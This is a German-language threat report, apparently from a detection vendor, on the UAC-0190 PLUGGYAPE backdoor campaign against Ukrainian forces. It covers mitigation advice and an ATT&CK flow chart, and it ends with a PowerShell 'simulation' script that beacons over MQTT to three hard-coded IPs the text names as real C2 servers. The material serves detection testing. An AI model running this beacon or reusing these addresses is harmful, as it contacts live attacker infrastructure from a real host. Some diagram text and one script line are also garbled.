„Unzuverlässige Finanzierung“: Zielgerichtete Cyberangriffe UAC-0190 auf ukrainische Verteidigungskräfte unter Einsatz von PLUGGYAPE
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
CERT-UA deckte eine Welle gezielter Einbrüche gegen Personal innerhalb der ukrainischen Streitkräfte auf, wobei die Betreiber vorgaben, als Vertreter eines wohltätigen Fonds zu agieren, um Vertrauen zu gewinnen und die Ausführung zu fördern. Die Kampagne setzte PLUGGYAPE ein, eine maßgeschneiderte, Python-basierte Hintertür, die über bewaffnete „Dokumentdateien“ mit täuschenden Doppelendungen (z. B. .docx.pif und .pdf.exe) verteilt wurde, um als harmloser Inhalt zu erscheinen. Nach dem Start etablierte die Malware Kommando- und Kontrollverbindungen über MQTT- oder WebSocket-Kanäle, wobei eine Mischung aus kompromittierten Domains und IP-basierter Infrastruktur verwendet wurde. CERT-UA verknüpfte die Aktivitäten mit dem Void Blizzard (Laundry Bear) Cluster.
Untersuchung
Während der Analyse sammelten die Einsatzkräfte mehrere bösartige Artefakte und bestätigten, dass die Nutzlasten als Office-ähnliche Dateien präsentierte Python-Binärdateien waren, die mit PyInstaller gepackt wurden, um die Ausführung zu fördern. Die Netzwerk-Telemetrie zeigte eine Signalübertragung über MQTT-Broker und WebSocket-Sitzungen zu von Angreifern kontrollierten Endpunkten, wobei einige Server-Adressen indirekt bereitgestellt wurden – eingebettet als Base64-Strings und von Hosting-Diensten im Paste-Stil abgerufen. Die Betreiber beibehielten eine Persistenz, indem sie einen Eintrag im Run-Registrierungsschlüssel erstellten. Infrastrukturindikatoren wurden durch Referenzen auf Paste-Plattformen (einschließlich Pastebin und rentry) und mehreren wohltätigkeitsbezogenen Domains im Köderketteverlauf bestätigt.
Abschwächung
Behandeln Sie unverlangt über Messenger erhaltene „Dokumentdateien“ als hohes Risiko, insbesondere Anhänge mit Doppelendungen oder ausführbaren Maskierungsmustern. Implementieren Sie eine Anwendungs-Whitelist und verhindern Sie ausdrücklich die Ausführung von PyInstaller-verpackten Binärdateien, wo möglich. Überwachen Sie Änderungen an allgemeinen Persistenzorten, insbesondere an Run-Schlüsseländerungen. Auf der Netzwerkebene blockieren oder kontrollieren Sie ausgehende Verbindungen zu bekannten bösartigen Domains streng und beschränken Sie den Ausgang zu MQTT-Broker-Ports, die mit dem Kommando- und Kontrollsystem der Kampagne verbunden sind.
Antwort
Integrieren Sie die veröffentlichten IOCs in SIEM/EDR-Tools und jagen Sie proaktiv nach PLUGGYAPE-Artefakten auf Endgeräten, wobei Sie Systeme priorisieren, die von angegriffenem Personal genutzt werden. Isolieren Sie verdächtige Hosts und bewahren Sie Beweise für Endgerät und Netzwerk auf, um den Umfang festzustellen. Überprüfen Sie die Registry-Persistenz—insbesondere Run-Einträge—und untersuchen Sie Netzwerkprotokolle auf anomale MQTT/WebSocket-Verkehrsmuster. Eskalieren Sie über Incident-Response- und anwendbare rechtsdurchsetzende Kanäle mithilfe der offiziellen Kontaktwege von CERT-UA.
„graph TB %% Klassen-Definitionen classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Knoten initial_access[„<b>Technik</b> – <b>T1659 Inhaltseinschleusung</b><br /><b>Beschreibung</b>: Bösartige Dateien über Messaging-Plattformen einschleusen“] class initial_access technique malicious_file[„<b>Datei</b> – Bösartige Dokumente<br /><b>Beispiele</b>: .docx.pif, .pdf.exe, verschleierte Nutzlast“] class malicious_file builtin user_execution[„<b>Technik</b> – <b>T1204.002 Benutzer Ausführung</b><br /><b>Beschreibung</b>: Opfer öffnet die bösartige Datei“] class user_execution technique malware[„<b>Malware</b> – Python-Hintertür kompiliert mit PyInstaller<br /><b>Eigenschaften</b>: Eingebettete Nutzlast, nutzt WebSocket und MQTT“] class malware malware persistence[„<b>Technik</b> – <b>T1547.014 Registry Run Keys / Startup Ordner</b><br /><b>Beschreibung</b>: Fügt Runu2011Schlüssel zum automatischen Start beim Anmelden hinzu“] class persistence technique discovery[„<b>Technik</b> – <b>T1082 System Information Discovery</b><br /><b>Beschreibung</b>: Sammelt OS-Details und Hardware-Identifikatoren“] class discovery technique command_and_control[„<b>Technik</b> – <b>T1071.001 Web-Protokolle</b> und <b>T1102.002 MQTT</b><br /><b>Beschreibung</b>: Kommuniziert über WebSocket und MQTT, verwendet Base64u2011kodierte URLs“] class command_and_control technique defense_evasion[„<b>Technik</b> – <b>T1036.008 Verschleierung</b>, <b>T1027.009 Verschleierte Dateien</b>, <b>T1497.002 Virtualisierungs-/Sandbox-Ausweichen</b><br /><b>Beschreibung</b>: Verbirgt Binärdateien und überprüft Analyseumgebungen“] class defense_evasion technique exfiltration[„<b>Technik</b> – <b>T1011 Exfiltration über andere Netzwerkkanäle</b><br /><b>Beschreibung</b>: Sendet gesammelte Daten über den gleichen C2-Kanal“] class exfiltration technique %% Verbindungen initial_access u002du002d>|liefert| malicious_file malicious_file u002du002d>|vom Opfer geöffnet| user_execution user_execution u002du002d>|führt aus| malware malware u002du002d>|erstellt| persistence malware u002du002d>|sammelt| discovery malware u002du002d>|verbindet zu| command_and_control malware u002du002d>|setzt ein| defense_evasion malware u002du002d>|exfiltriert über| exfiltration „
Angriffsablauf
Simulationsausführung
Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
- Ziel: Etablieren Sie einen C2-Kanal mit der PLUGGYAPE-Infrastruktur unter Verwendung des MQTT-Protokolls, ähnlich einem typischen IoT-Gerät, das stillschweigend Daten meldet.
- Schritt-für-Schritt:
- Der Angreifer legt ein PowerShell-Skript ab, das die
MQTTnetBibliothek lädt. - Es erstellt einen persistenten Hintergrundjob, der sich mit dem bösartigen MQTT-Broker (einer der drei fest kodierten IPs) auf dem Standard-MQTT-Port (1883) verbindet.
- Nach dem Herstellen der TCP-Verbindung sendet es ein minimales MQTT-CONNECT-Paket, gefolgt von einem regelmäßigen PUBLISH mit kodierten Befehlsdaten.
- Alle Netzwerkaktivitäten werden im Kontext eines legitimen Dienstkontos ausgeführt, um sich in den normalen Datenverkehr einzufügen.
- Der Angreifer legt ein PowerShell-Skript ab, das die
-
Regressionstest-Skript:
# PLUGGYAPE C2-Simulation – MQTT über Windows # Erfordert MQTTnet (installiert über PowerShell-Galerie) # --------------------------------------------------------- # 1. Installieren Sie MQTTnet, falls es fehlt if (-not (Get-Module -ListAvailable -Name MQTTnet)) { Install-Module -Name MQTTnet -Scope CurrentUser -Force } # 2. Definieren Sie bösartige C2-Endpunkte $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216') $c2Port = 1883 # 3. Wählen Sie zufällig einen C2-Server aus, um eine realistische Auswahl zu simulieren $targetIP = $c2IPs | Get-Random # 4. Erstellen Sie MQTT-Client $factory = New-Object MQTTnet.MqttFactory $client = $factory.CreateMqttClient() $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new() .WithTcpServer($targetIP, $c2Port) .WithClientId(([guid]::NewGuid()).Guid) .Build() # 5. Verbinden und im Hintergrundjob veröffentlichen $scriptBlock = { param($client,$options) try { $client.ConnectAsync($options).GetAwaiter().GetResult() Write-Host "Verbunden mit PLUGGYAPE C2 bei $($options.ChannelOptions.Server)` # Senden Sie alle 30 Sekunden eine einfache Keep-Alive-Veröffentlichung while ($true) { $msg = [MQTTnet.MqttApplicationMessageBuilder]::new() .WithTopic('data/heartbeat') .WithPayload('alive') .WithExactlyOnceQoS() .Build() $client.PublishAsync($msg).GetAwaiter().GetResult() Start-Sleep -Seconds 30 } } catch { Write-Error "C2-Verbindung fehlgeschlagen: $_" } finally { $client.DisconnectAsync() | Out-Null } } # Starten Sie den Job (läuft im Hintergrund) $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options Write-Host "PLUGGYAPE C2-Simulationsjob gestartet (JobId=$($job.Id))." -
Bereinigungskommandos:
# Stoppen Sie den Hintergrundjob und stellen Sie sicher, dass der MQTT-Client die Verbindung trennt Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force Write-Host "PLUGGYAPE C2-Simulation gestoppt und Bereinigung abgeschlossen."